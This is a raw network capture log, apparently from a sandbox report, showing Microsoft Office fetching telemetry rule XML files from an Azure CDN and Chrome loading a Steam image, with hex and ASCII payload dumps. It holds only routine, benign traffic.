2024-10-06 11:21:05 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:21:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:21:05 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: cb78c1b2-201e-003f-2e04-176d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112105Z-1657d5bbd48lknvp09v995n79000000001f000000000db2p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:21:05 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.7	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:05 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:21:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:21:05 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 678daa67-201e-00aa-3f60-173928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112105Z-1657d5bbd48lknvp09v995n79000000001g000000000a0ye x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:21:05 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.7	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:05 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:21:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:21:05 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 5a5a1e5c-a01e-001e-18f5-1649ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112105Z-1657d5bbd48sdh4cyzadbb374800000001tg000000004m94 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:21:05 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.7	49863	2.19.126.97	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:06 UTC	405	OUT	GET /public/shared/images/popups/btn_arrow_down_padded.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:21:06 UTC	265	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 161 Last-Modified: Fri, 05 Jan 2018 22:31:55 GMT ETag: "5a4ffcdb-a1" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:21:06 GMT Connection: close
2024-10-06 11:21:06 UTC	161	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 13 00 00 00 0c 08 06 00 00 00 80 d0 86 82 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 00 43 49 44 41 54 78 da 62 fc ff ff 3f 03 b5 00 e3 08 36 ec d8 91 c3 fc 40 ea 00 10 1b e0 d0 b7 c0 ca c6 36 91 68 97 e1 31 10 ab 41 04 bd 89 c5 40 9c 06 11 15 66 48 06 5e c0 67 d0 48 4f 1a e4 02 80 00 03 00 23 ae 37 e9 64 d5 5d 17 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRtEXtSoftwareAdobe ImageReadyqe<CIDATxb?6@6h1A@fH^gHO#7d]IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.7	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:06 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:21:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:21:06 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: cde3aec9-601e-0084-63e5-166b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112106Z-1657d5bbd48xsz2nuzq4vfrzg800000001vg0000000021h8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:21:06 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.7	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:06 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:21:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:21:06 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 27b6de9f-001e-0046-1e00-17da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112106Z-1657d5bbd48wd55zet5pcra0cg00000001v0000000009tqa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:21:06 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.7	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:06 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:21:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:21:06 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 04801829-801e-00ac-6301-17fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112106Z-1657d5bbd48tnj6wmberkg2xy800000001xg00000000cdby x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:21:06 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.7	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:06 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:21:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:21:06 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 2f3972b1-401e-0035-1b02-1782d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112106Z-1657d5bbd48qjg85buwfdynm5w000000023g0000000006dk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:21:06 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.7	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:06 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:21:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:21:06 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 1ed82642-401e-0048-7b12-170409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112106Z-1657d5bbd48tqvfc1ysmtbdrg000000001vg000000001q8q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:21:06 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.7	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:07 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:21:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:21:07 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: d803a4ff-401e-0083-3904-17075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112107Z-1657d5bbd48brl8we3nu8cxwgn000000025g00000000beuh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:21:07 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.7	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:07 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:21:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:21:07 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 678513bd-b01e-0053-4460-17cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112107Z-1657d5bbd48q6t9vvmrkd293mg00000001ug00000000b47z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:21:07 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.7	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:07 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:21:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:21:07 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: b0fdb72d-401e-0015-37ce-160e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112107Z-1657d5bbd48tnj6wmberkg2xy800000002000000000077a3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:21:07 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.7	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
